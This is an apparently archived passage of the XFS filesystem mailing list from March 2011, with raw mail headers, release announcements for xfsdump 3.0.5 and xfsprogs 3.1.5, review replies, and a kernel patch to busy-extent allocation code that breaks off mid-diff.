1301521234 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59442 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name X-Virus-Status: Clean ----- Original Message ----- > Update the CHANGES file in preparation for releasing xfsdump 3.0.5. > > Signed-off-by: Alex Elder > Looks good to me, thanks! -- Nathan From wkendall@sgi.com Wed Mar 30 16:42:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2ULgX53084085 for ; Wed, 30 Mar 2011 16:42:33 -0500 Received: from estes.americas.sgi.com (estes.americas.sgi.com [128.162.236.10]) by relay2.corp.sgi.com (Postfix) with ESMTP id EFCCC30408D for ; Wed, 30 Mar 2011 14:45:41 -0700 (PDT) Received: from [128.162.233.117] (augusta.americas.sgi.com [128.162.233.117]) by estes.americas.sgi.com (Postfix) with ESMTP id D398570022BB; Wed, 30 Mar 2011 16:45:41 -0500 (CDT) Message-ID: <4D93A485.7030509@sgi.com> Date: Wed, 30 Mar 2011 16:45:41 -0500 From: Bill Kendall User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110223 Thunderbird/3.1.8 MIME-Version: 1.0 To: aelder@sgi.com Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfsdump: update CHANGES file for release References: <1301516575.2953.29.camel@doink> In-Reply-To: <1301516575.2953.29.camel@doink> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 03/30/2011 03:22 PM, Alex Elder wrote: > Update the CHANGES file in preparation for releasing xfsdump 3.0.5. > > Signed-off-by: Alex Elder Looks good. Reviewed-by: Bill Kendall > > --- > debian/changelog | 6 ++++++ > doc/CHANGES | 27 +++++++++++++++++++++++++++ > 2 files changed, 33 insertions(+) > > Index: b/debian/changelog > =================================================================== > --- a/debian/changelog > +++ b/debian/changelog > @@ -1,3 +1,9 @@ > +xfsdump (3.0.5) unstable; urgency=low > + > + * New upstream release > + > + -- Nathan Scott Wed, 31 Mar 2011 07:30:00 +1100 > + > xfsdump (3.0.4) unstable; urgency=low > > * New bugfix release > Index: b/doc/CHANGES > =================================================================== > --- a/doc/CHANGES > +++ b/doc/CHANGES > @@ -1,3 +1,30 @@ > +xfsdump-3.0.5 (30 March 2011) > + - Release tags will now be digitally signed > + - Quota files will now be dumped, regardless of the maxsize > + setting > + - The new "-s sessid" flag allows inventory sessions to be > + pruned by their session ID. > + - Fixed a bug in handling long dump filenames, and dropped > + (undocumented) support for encoding certain parameters > + within the dump filename > + - NODECHK is now off by default, meaning xfsrestore will now > + support 16 times more directory entries (4 billion) > + - nrh_t is now 64 bits wide, allowing xfsrestore to support > + dumps with up to 4 billion directory entries > + - nix_t is no longer useful, and has been eliminated > + - Memory use in xfsrestore is better managed now. Segments > + of nodes are now power-of-2 sized, and allocated nodes are > + no longer needlessly zeroed and linked into the free list. > + - Pathname resolution in xfsrestore has a number of > + performance improvements > + - Better checking has been implemented for compatibility > + when resuming a cumulative restore > + - Build system output has been cleaned up considerably > + - Dead "namreg" code has been removed > + - Build dependencies are now determined automatically > + - Other miscellaneous build system improvements, as well bug > + fixes thanks to Mike Frysinger and Arkadiusz Miśkiewicz. > + > xfsdump-3.0.4 (13 January 2010) > - Improve xfsinvutil man page and argument processing. > - Fix timestamp handling on 64-bit architectures in xfsinvutil. > From aelder@sgi.com Wed Mar 30 22:58:24 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2V3wOt0108759 for ; Wed, 30 Mar 2011 22:58:24 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5DEF28F809E for ; Wed, 30 Mar 2011 21:01:33 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 30 Mar 2011 23:01:33 -0500 Subject: [ANNOUNCE] xfsdump v3.0.5 From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com Content-Type: text/plain; charset="UTF-8" Date: Wed, 30 Mar 2011 23:01:32 -0500 Message-ID: <1301544092.2824.10.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: quoted-printable X-OriginalArrivalTime: 31 Mar 2011 04:01:33.0306 (UTC) FILETIME=[52A77DA0:01CBEF58] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Version 3.0.5 of xfsdump has been released. A gzipped tar archive of the source code is available here: ftp://oss.sgi.com/projects/xfs/cmd_tars/xfsdump-3.0.5.tar.gz The source code can be accessed via git using this URL: git://oss.sgi.com/xfs/cmds/xfsdump.git Below is a summary (from the doc/CHANGES file) of changes since release 3.0.4: xfsdump-3.0.5 (30 March 2011) - Release tags will now be digitally signed - Quota files will now be dumped, regardless of the maxsize setting - The new "-s sessid" flag allows inventory sessions to be pruned by their session ID. - Fixed a bug in handling long dump filenames, and dropped (undocumented) support for encoding certain parameters within the dump filename - NODECHK is now off by default, meaning xfsrestore will now support 16 times more directory entries (4 billion) - nrh_t is now 64 bits wide, allowing xfsrestore to support dumps with up to 4 billion directory entries - nix_t is no longer useful, and has been eliminated - Memory use in xfsrestore is better managed now. Segments of nodes are now power-of-2 sized, and allocated nodes are no longer needlessly zeroed and linked into the free list. - Pathname resolution in xfsrestore has a number of performance improvements - Better checking has been implemented for compatibility when resuming a cumulative restore - Build system output has been cleaned up considerably - Dead "namreg" code has been removed - Build dependencies are now determined automatically - Other miscellaneous build system improvements, as well bug fixes thanks to Mike Frysinger and Arkadiusz Mi=C5=9Bkiewicz. From aelder@sgi.com Wed Mar 30 23:26:10 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2V4QA6P110603 for ; Wed, 30 Mar 2011 23:26:10 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id E2FC5AC005 for ; Wed, 30 Mar 2011 21:29:18 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 30 Mar 2011 23:29:18 -0500 Subject: [ANNOUNCE] xfsprogs v3.1.5 From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com Content-Type: text/plain; charset="UTF-8" Date: Wed, 30 Mar 2011 23:29:17 -0500 Message-ID: <1301545757.2824.11.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 31 Mar 2011 04:29:18.0567 (UTC) FILETIME=[333A2770:01CBEF5C] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Version 3.1.5 of xfsprogs has been released. A gzipped tar archive of the source code is available here: ftp://oss.sgi.com/projects/xfs/cmd_tars/xfsprogs-3.1.5.tar.gz The source code can be accessed via git using this URL: git://oss.sgi.com/xfs/cmds/xfsprogs.git Below is a summary (from the doc/CHANGES file) of changes since release 3.1.4: xfsprogs-3.1.5 (30 March 2011) - Polish translation update, thanks to Jakub Bogusz - xfs_repair now warns if running in low memory mode - Phase 2 of xfs_repair is now multithreaded - xfs_quota no longer attempts to get quota information if not enabled - Inode flags are now properly validated by xfs_repair - Metadump now obfuscates all file names reliably - xfs_io now supports the "fiemap" command, a more generic form of the "bmap" command - xfs_io now supports the "fpunch" command, as well as a "-p" flag to the "fallocate command. Both implement hole punching. Thanks to Josef Bacik - A number of other bug fixes thanks to Ajeet Yadav From david@fromorbit.com Thu Mar 31 00:48:09 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2V5m880118726 for ; Thu, 31 Mar 2011 00:48:09 -0500 X-ASG-Debug-ID: 1301550677-5afe032c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BC0723904C2 for ; Wed, 30 Mar 2011 22:51:18 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8JdudsxV8Cv2sK1M for ; Wed, 30 Mar 2011 22:51:18 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkIFAPMUlE15LK5JTmdsb2JhbAClVgsBARsFAyMlvl4NhV0E Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Mar 2011 16:21:16 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q5Amo-0008DE-Qz; Thu, 31 Mar 2011 16:51:14 +1100 Date: Thu, 31 Mar 2011 16:51:14 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfs: fix extent format buffer allocation size Subject: Re: [PATCH] xfs: fix extent format buffer allocation size Message-ID: <20110331055114.GC30279@dastard> References: <1301453521-5614-1-git-send-email-david@fromorbit.com> <20110330093333.GA32582@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110330093333.GA32582@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301550679 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 30, 2011 at 05:33:34AM -0400, Christoph Hellwig wrote: > > + xfs_bmbt_rec_t *ext_buffer; > > + > > + ext_buffer = kmem_alloc(XFS_IFORK_SIZE(ip, whichfork), > > If the fork size be the minimum of XFS_IFORK_SIZE and the if_bytes > value? I thought about that, but I don't think it makes any difference. If there are no delalloc extents, then XFS_IFORK_SIZE and ifp->if_bytes are identical when the fork is in extent format. If there are delalloc extents, then XFS_IFORK_SIZE() is the one we want. Hence I don't think we need to even consider the value of ifp->if_bytes at all here.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 01:26:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2V6QAvj120685 for ; Thu, 31 Mar 2011 01:26:11 -0500 X-ASG-Debug-ID: 1301552961-2c4c00da0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B760E131CAD6 for ; Wed, 30 Mar 2011 23:29:21 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 14oWu4r6fD5UJYxO for ; Wed, 30 Mar 2011 23:29:21 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5BNg-0008Tx-Fd; Thu, 31 Mar 2011 06:29:20 +0000 Date: Thu, 31 Mar 2011 02:29:20 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfs: fix extent format buffer allocation size Subject: Re: [PATCH] xfs: fix extent format buffer allocation size Message-ID: <20110331062920.GA32336@infradead.org> References: <1301453521-5614-1-git-send-email-david@fromorbit.com> <20110330093333.GA32582@infradead.org> <20110331055114.GC30279@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110331055114.GC30279@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301552962 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 31, 2011 at 04:51:14PM +1100, Dave Chinner wrote: > On Wed, Mar 30, 2011 at 05:33:34AM -0400, Christoph Hellwig wrote: > > > + xfs_bmbt_rec_t *ext_buffer; > > > + > > > + ext_buffer = kmem_alloc(XFS_IFORK_SIZE(ip, whichfork), > > > > If the fork size be the minimum of XFS_IFORK_SIZE and the if_bytes > > value? > > I thought about that, but I don't think it makes any difference. If > there are no delalloc extents, then XFS_IFORK_SIZE and ifp->if_bytes > are identical when the fork is in extent format. If there are > delalloc extents, then XFS_IFORK_SIZE() is the one we want. Hence I > don't think we need to even consider the value of ifp->if_bytes at > all here.... You're right. From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 03:27:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2V8RGI8127968 for ; Thu, 31 Mar 2011 03:27:17 -0500 X-ASG-Debug-ID: 1301560228-032703890000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D4DA9390A2E; Thu, 31 Mar 2011 01:30:28 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id lSuDEjojWqXJEjLb; Thu, 31 Mar 2011 01:30:28 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5DGq-00049l-Vc; Thu, 31 Mar 2011 08:30:25 +0000 Date: Thu, 31 Mar 2011 04:30:24 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: allow reusing busy extents where safe Subject: Re: [PATCH 4/5] xfs: allow reusing busy extents where safe Message-ID: <20110331083024.GA12865@infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> <20110328210915.214513168@bombadil.infradead.org> <1301425468.3026.249.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301425468.3026.249.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301560228 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 02:04:28PM -0500, Alex Elder wrote: > On Mon, 2011-03-28 at 17:06 -0400, Christoph Hellwig wrote: > > Allow reusing any busy extent for metadata allocations, and reusing busy > > userdata extents for userdata allocations. Most of the complexity is > > propagating the userdata information from the XFS_BMAPI_METADATA flag > > to xfs_bunmapi into the low-level extent freeing routines. After that > > we can just track what type of busy extent we have and treat it accordingly. > > > > Signed-off-by: Christoph Hellwig > > The use of an enum value returned from > xfs_alloc_busy_update_extent() is a good improvement. > > I'll issue the caveat here that I did not look through > it this time as carefully as the first time. My main > concern was about the validity of reusing busy user data > extents for user data, and as before I'll say I accept > that it's OK, but I haven't worked through in my own > mind that it is indeed safe. If I find the time to do > it I'll look this one over again to for reassurance... This version doesn't actually allow userdata reallocations anymore, I just forgot to update the patch description. From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:25:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBPWQ5137675 for ; Thu, 31 Mar 2011 06:25:32 -0500 X-ASG-Debug-ID: 1301570924-63aa02810000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C6D3339183D for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id cCCxolTA5ojXL7xC for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G3Q-00065d-1T for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:28:44 +0000 Message-Id: <20110331112700.735969269@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:27:00 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 0/3] improved busy extent handling V3 Subject: [PATCH 0/3] improved busy extent handling V3 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570924 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This series optimizes how XFS deals with busy extents. It starts to track them exactly, and allows reuses where possible (metadata to metadata) or else tries to avoid busy extents during allocations. This means we don't have a single log force due to busy extents during either xfstests, compilebench or postmark on my testsystem, which can easily be tracked using the new tracepoints added in the last patch. Changes from V2: - remove the bmapi userdata tracking now that is unused - restructure the busy extent reuse code to make it more suitable for the discard support - reshuffle the patch boundaries From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:25:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.4 required=5.0 tests=BAYES_00,J_CHICKENPOX_61, J_CHICKENPOX_64,J_CHICKENPOX_65,J_CHICKENPOX_66,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBPWx3137679 for ; Thu, 31 Mar 2011 06:25:32 -0500 X-ASG-Debug-ID: 1301570924-638902900000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E151D39183E for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id JO0ApjTogNq4GQ2n for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G3Q-00066l-Ed for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:28:44 +0000 Message-Id: <20110331112844.407909839@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:27:02 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/3] xfs: do not immediately reuse busy extent ranges Subject: [PATCH 2/3] xfs: do not immediately reuse busy extent ranges References: <20110331112700.735969269@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-skip-busy-extents X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570924 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Every time we reallocate a busy extent, we cause a synchronous log force to occur to ensure the freeing transaction is on disk before we continue and use the newly allocated extent. This is extremely sub-optimal as we have to mark every transaction with blocks that get reused as synchronous. Instead of searching the busy extent list after deciding on the extent to allocate, check each candidate extent during the allocation decisions as to whether they are in the busy list. If they are in the busy list, we trim the busy range out of the extent we have found and determine if that trimmed range is still OK for allocation. In many cases, this check can be incorporated into the allocation extent alignment code which already does trimming of the found extent before determining if it is a valid candidate for allocation. Based on earlier patches from Dave Chinner. Signed-off-by: Christoph Hellwig Reviewed-by: Alex Elder Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-30 12:05:44.111160249 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-31 12:19:35.078088911 +0200 @@ -41,19 +41,13 @@ #define XFSA_FIXUP_BNO_OK 1 #define XFSA_FIXUP_CNT_OK 2 -/* - * Prototypes for per-ag allocation routines - */ - STATIC int xfs_alloc_ag_vextent_exact(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_near(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, - xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); - -/* - * Internal functions. - */ + xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +STATIC void xfs_alloc_busy_trim(struct xfs_alloc_arg *, + xfs_agblock_t, xfs_extlen_t, xfs_agblock_t *, xfs_extlen_t *); /* * Lookup the record equal to [bno, len] in the btree given by cur. @@ -154,19 +148,21 @@ xfs_alloc_compute_aligned( xfs_extlen_t *reslen) /* result length */ { xfs_agblock_t bno; - xfs_extlen_t diff; xfs_extlen_t len; - if (args->alignment > 1 && foundlen >= args->minlen) { - bno = roundup(foundbno, args->alignment); - diff = bno - foundbno; - len = diff >= foundlen ? 0 : foundlen - diff; + /* Trim busy sections out of found extent */ + xfs_alloc_busy_trim(args, foundbno, foundlen, &bno, &len); + + if (args->alignment > 1 && len >= args->minlen) { + xfs_agblock_t aligned_bno = roundup(bno, args->alignment); + xfs_extlen_t diff = aligned_bno - bno; + + *resbno = aligned_bno; + *reslen = diff >= len ? 0 : len - diff; } else { - bno = foundbno; - len = foundlen; + *resbno = bno; + *reslen = len; } - *resbno = bno; - *reslen = len; } /* @@ -541,16 +537,8 @@ xfs_alloc_ag_vextent( if (error) return error; - /* - * Search the busylist for these blocks and mark the - * transaction as synchronous if blocks are found. This - * avoids the need to block due to a synchronous log - * force to ensure correct ordering as the synchronous - * transaction will guarantee that for us. - */ - if (xfs_alloc_busy_search(args->mp, args->agno, - args->agbno, args->len)) - xfs_trans_set_sync(args->tp); + ASSERT(!xfs_alloc_busy_search(args->mp, args->agno, + args->agbno, args->len)); } if (!args->isfl) { @@ -577,14 +565,14 @@ xfs_alloc_ag_vextent_exact( { xfs_btree_cur_t *bno_cur;/* by block-number btree cursor */ xfs_btree_cur_t *cnt_cur;/* by count btree cursor */ - xfs_agblock_t end; /* end of allocated extent */ int error; xfs_agblock_t fbno; /* start block of found extent */ - xfs_agblock_t fend; /* end block of found extent */ xfs_extlen_t flen; /* length of found extent */ + xfs_agblock_t tbno; /* start block of trimmed extent */ + xfs_extlen_t tlen; /* length of trimmed extent */ + xfs_agblock_t tend; /* end block of trimmed extent */ + xfs_agblock_t end; /* end of allocated extent */ int i; /* success/failure of operation */ - xfs_agblock_t maxend; /* end of maximal extent */ - xfs_agblock_t minend; /* end of minimal extent */ xfs_extlen_t rlen; /* length of returned extent */ ASSERT(args->alignment == 1); @@ -614,14 +602,22 @@ xfs_alloc_ag_vextent_exact( goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); ASSERT(fbno <= args->agbno); - minend = args->agbno + args->minlen; - maxend = args->agbno + args->maxlen; - fend = fbno + flen; /* - * Give up if the freespace isn't long enough for the minimum request. + * Check for overlapping busy extents. + */ + xfs_alloc_busy_trim(args, fbno, flen, &tbno, &tlen); + + /* + * Give up if the start of the extent is busy, or the freespace isn't + * long enough for the minimum request. */ - if (fend < minend) + if (tbno > args->agbno) + goto not_found; + if (tlen < args->minlen) + goto not_found; + tend = tbno + tlen; + if (tend < args->agbno + args->minlen) goto not_found; /* @@ -630,14 +626,14 @@ xfs_alloc_ag_vextent_exact( * * Fix the length according to mod and prod if given. */ - end = XFS_AGBLOCK_MIN(fend, maxend); + end = XFS_AGBLOCK_MIN(tend, args->agbno + args->maxlen); args->len = end - args->agbno; xfs_alloc_fix_len(args); if (!xfs_alloc_fix_minleft(args)) goto not_found; rlen = args->len; - ASSERT(args->agbno + rlen <= fend); + ASSERT(args->agbno + rlen <= tend); end = args->agbno + rlen; /* @@ -686,11 +682,11 @@ xfs_alloc_find_best_extent( struct xfs_btree_cur **scur, /* searching cursor */ xfs_agblock_t gdiff, /* difference for search comparison */ xfs_agblock_t *sbno, /* extent found by search */ - xfs_extlen_t *slen, - xfs_extlen_t *slena, /* aligned length */ + xfs_extlen_t *slen, /* extent length */ + xfs_agblock_t *sbnoa, /* aligned extent found by search */ + xfs_extlen_t *slena, /* aligned extent length */ int dir) /* 0 = search right, 1 = search left */ { - xfs_agblock_t bno; xfs_agblock_t new; xfs_agblock_t sdiff; int error; @@ -708,16 +704,16 @@ xfs_alloc_find_best_extent( if (error) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(args, *sbno, *slen, &bno, slena); + xfs_alloc_compute_aligned(args, *sbno, *slen, sbnoa, slena); /* * The good extent is closer than this one. */ if (!dir) { - if (bno >= args->agbno + gdiff) + if (*sbnoa >= args->agbno + gdiff) goto out_use_good; } else { - if (bno <= args->agbno - gdiff) + if (*sbnoa <= args->agbno - gdiff) goto out_use_good; } @@ -729,8 +725,8 @@ xfs_alloc_find_best_extent( xfs_alloc_fix_len(args); sdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, *sbno, - *slen, &new); + args->alignment, *sbnoa, + *slena, &new); /* * Choose closer size and invalidate other cursor. @@ -780,7 +776,7 @@ xfs_alloc_ag_vextent_near( 